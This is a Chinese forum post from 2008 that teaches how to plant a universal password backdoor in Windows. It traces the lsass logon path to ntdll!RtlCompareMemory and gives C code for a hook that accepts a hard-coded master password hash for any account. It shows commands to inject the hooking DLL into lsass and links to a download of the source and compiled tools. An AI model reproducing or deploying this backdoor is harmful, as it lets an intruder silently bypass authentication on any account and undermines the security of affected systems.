夏头 發表於 2008-10-8 19:03:55

教你利用IAT hook实现windows通用密码后门

先不管是不是真的有,我们可以自己实现一个这样的后门。
<br />
<br />先简单介绍一下windows登陆过程中的一些过程。
<br />winlogon进程用gina.dll获取用户名和密码,通过LPC传给lsass进程。
<br />然后lsass进程调用默认认证包msv1_0.dll来验证密码的对错。
<br />而msv1_0则从SAM中获得用户的信息,包括密码的哈希。
<br />
<br />要实现这样一个后门,首先要找到登陆验证这一系列函数的最底层的一个,然后在那里做手脚。
<br />很明显,这个最底层的函数在lsass进程的msv1_0.dll模块中。
<br />
<br />lsass调用msv1_0.dll的是这个函数:
<br />
<br />代码:
<br />msv1_0!LsaApLogonUserEx2
<br />
<br />LsaApLogonUserEx2 in MSDN
<br />
<br />那我们就应该调试lsass进程然后在msv1_0!LsaApLogonUserEx2下断点。
<br />这里我使用windbg和vmware并利用dbgsrv进行远程的用户态调试。
<br />http://blogs.msdn.com/spatdsg/archiv…27/507265.aspx
<br />上面Spat在blog中介绍了如何用dbgsrv调试(Debugging LSA via dbgsrv.exe)。
<br />在虚拟机(被调试端)运行
<br />
<br />代码:
<br />dbgsrv.exe -t tcp:port=1234,password=spat
<br />
<br />然后在调试端运行
<br />
<br />代码:
<br />windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
<br />
<br />然后选择附加lsass进程。
<br />但这里我们不能登陆之后再运行dbgsrv,那样dbgsrv就被关掉了,所以我利用windows的任务计划让dbgsrv开机就运行起来。
<br />
<br />虚拟机启动后,dbgsrv也起来了,然后用windbg连上并附上lsass进程。
<br />在下了断点msv1_0!LsaApLogonUserEx2后,让lsass继续运行。
<br />然后登陆,果然windbg断下来了。
<br />
<br />这个时候给大家介绍windbg的一个强劲的命令,那就是wt,它能所有的记录函数调用关系,一直记录到ret,具体用法请看windbg帮助。
<br />我猜wt是单步运行,所以很慢。
<br />但是wt输出的文本很多,太难看了,于是我写了个python脚本把wt的输出转成一个TreeCtrl
<br />
<br />大家注意看我鼠标点上的那个函数:ntdll!RtlCompareMemory。
<br />经过调试我发现这个函数就是我要找的那个“最底层的函数”。
<br />
<br />代码:
<br />SIZE_T
<br />RtlCompareMemory(
<br />    IN CONST VOID*Source1,
<br />    IN CONST VOID*Source2,
<br />    IN SIZE_TLength
<br />    );
<br />
<br />RtlCompareMemory in MSDN
<br />并且我还发现了验证密码时这个函数3个参数的细节,
<br />Source1是从SAM中取出的用户密码的Unicode形式的md4哈希,
<br />Source2是用户输入的密码的Unicode形式的md4哈希,
<br />Length总是16,因为md4的哈希就是16位。
<br />很容易我写出了下面这个替代的函数:
<br />
<br />代码:
<br />int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
<br />    if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
<br />      return 16;
<br />    return pRtlCompareMemory(a, b, len);
<br />}
<br />
<br />其中pRtlCompareMemory是全局变量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密码的哈希。
<br />使用MyRtlCompareMemory来hook掉RtlCompareMemory,就可以实现预定的功能了。
<br />如果要比较的是16位的,并且第二段内存与我们的哈希一样那就直接放行,不管第一段内存是什么。
<br />也许有朋友会问,你这是hook了msv1_0模块内所有调用RtlCompareMemory的地方,不会出错吗?
<br />放心吧,哪有那么巧,要比较的是16位的而且第二段内存又和我们的哈希一模一样?
<br />
<br />要hook这个函数有很多方法,
<br />我选择了最懒的一种,IAT hook dll注入。
<br />于是我写了一个小工具来注入dll:DllInject
<br />
<br />代码:
<br />C:\Documents and Settings\cly\桌面\bin&gt;InjectDll.exe
<br />InjectDll v0.1
<br />Inject/UnInject a dll file to a process, by cly, at 20080522
<br />Usage:
<br />    InjectDll.exe (-i | -u | -U) pid filename
<br />    -i: Inject
<br />    -u: UnInject once
<br />    -U: UnInject at all
<br />
<br />passdoor.dll是要注入到lsass进程的dll,这个dll在DllMain中实现了IAT hook,很土的技术了,就不贴代码了,网上一搜一箩筐。
<br />
<br />然后我又写了一个小工具:pdconfig
<br />其实就是改passdoor.dll中的哈希,以免要换密码是又要重新编译passdoor.dll。
<br />
<br />使用方法:
<br />
<br />代码:
<br />InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll
<br />
<br />卸载方法:
<br />
<br />代码:
<br />InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll
<br />
<br />http://clyfish.googlepages.com/passdoor.rar
<br />这里是本文中相关工具的源码以及编译好的二进制文件。
<br />其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代码均使用MingW gcc4.2.1编译。

<br />
頁: [1]
查看完整版本: 教你利用IAT hook实现windows通用密码后门